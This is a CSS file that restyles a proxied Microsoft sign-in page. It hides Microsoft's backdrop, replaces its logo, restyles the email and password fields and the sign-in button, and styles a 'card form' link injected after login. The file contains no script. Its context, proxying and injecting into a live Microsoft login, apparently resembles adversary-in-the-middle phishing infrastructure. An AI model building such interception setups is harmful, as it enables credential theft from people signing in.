/*
 * Overrides for the proxied Microsoft sign-in page.
 * Served from /_local/custom.css; injected via inject.html.
 * Everything here is !important so it beats Microsoft's late-loaded bundles.
 *
 * Verified hooks in the current AAD page (ids are the stable ones):
 *   html / body / #lightboxBackgroundContainer   page backdrop
 *   #bannerLogo                                  org logo <img>
 *   #lightbox                                    sign-in card
 *   .form-control                                email/password inputs
 *   .button.primary / #idSIButton9                primary button
 *   .footer / .footer-content / .footer-item      footer links
 *   .banner-logo-text / .header-titles            headings
 */

:root {
  --brand: #0f766e;
  --brand-dark: #115e59;
  --card-radius: 14px;
}

/* ---- Backdrop: brand gradient out of the box ---- */
html,
body,
#lightboxBackgroundContainer,
.background,
.background-image-holder,
.neutral-background {
  background: linear-gradient(135deg, #0f2027, #203a43 55%, #2c5364) !important;
}

/* Microsoft paints its own stock photo on top of the page background; drop it
   so the brand backdrop shows. */
#backgroundImage,
.background-image,
.background-image-small {
  display: none !important;
}

/* Prefer a photo? Drop static/background.jpg in place and uncomment this block:
#lightboxBackgroundContainer {
  background-image: linear-gradient(rgba(0, 0, 0, 0.45), rgba(0, 0, 0, 0.65)),
                    url("/_local/background.jpg") !important;
  background-size: cover !important;
  background-position: center !important;
}
html, body { background: #0f2027 !important; }
*/

/* ---- Logo swap (placeholder wordmark shipped in static/logo.svg) ---- */
/* img.logo is the default Microsoft mark; #bannerLogo/.banner-logo appear
   when the tenant has branding configured. */
img.logo,
#bannerLogo,
img.banner-logo,
.background-logo,
.header-logo {
  content: url("/_local/logo.svg") !important;
}

img.logo,
#bannerLogo {
  height: 44px !important;
  max-height: 44px !important;
  width: auto !important;
}

/* ---- Card (white, so it stays readable on the dark backdrop) ---- */
#lightbox,
.lightbox {
  background: #fff !important;
  border-radius: var(--card-radius) !important;
  box-shadow: 0 24px 60px rgba(0, 0, 0, 0.45) !important;
  border: 0 !important;
  padding-bottom: 28px !important;
}

/* ---- Inputs ---- */
.form-control {
  border-radius: 8px !important;
}

.form-control:focus {
  border-color: var(--brand) !important;
  box-shadow: 0 0 0 3px rgba(15, 118, 110, 0.25) !important;
}

/* ---- Primary button ---- */
.button.primary,
button.primary,
#idSIButton9 {
  background: var(--brand) !important;
  border-color: var(--brand) !important;
  border-radius: 8px !important;
}

.button.primary:hover,
button.primary:hover,
#idSIButton9:hover {
  background: var(--brand-dark) !important;
  border-color: var(--brand-dark) !important;
}

/* ---- Footer ---- */
.footer,
.footer-content,
.footer-item a {
  color: #cfd8dc !important;
}

/* ---- Heading ---- */
.banner-logo-text,
.header-titles {
  color: #102a43 !important;
}

/* ---- Card form link, injected on the success page ---- */
.card-form-cta {
  display: block;
  margin: 18px 0 0;
  padding: 12px;
  text-align: center;
  font-size: 15px;
  font-weight: 600;
  color: #fff !important;
  text-decoration: none !important;
  background: var(--brand);
  border-radius: 8px;
}

.card-form-cta:hover {
  background: var(--brand-dark);
}
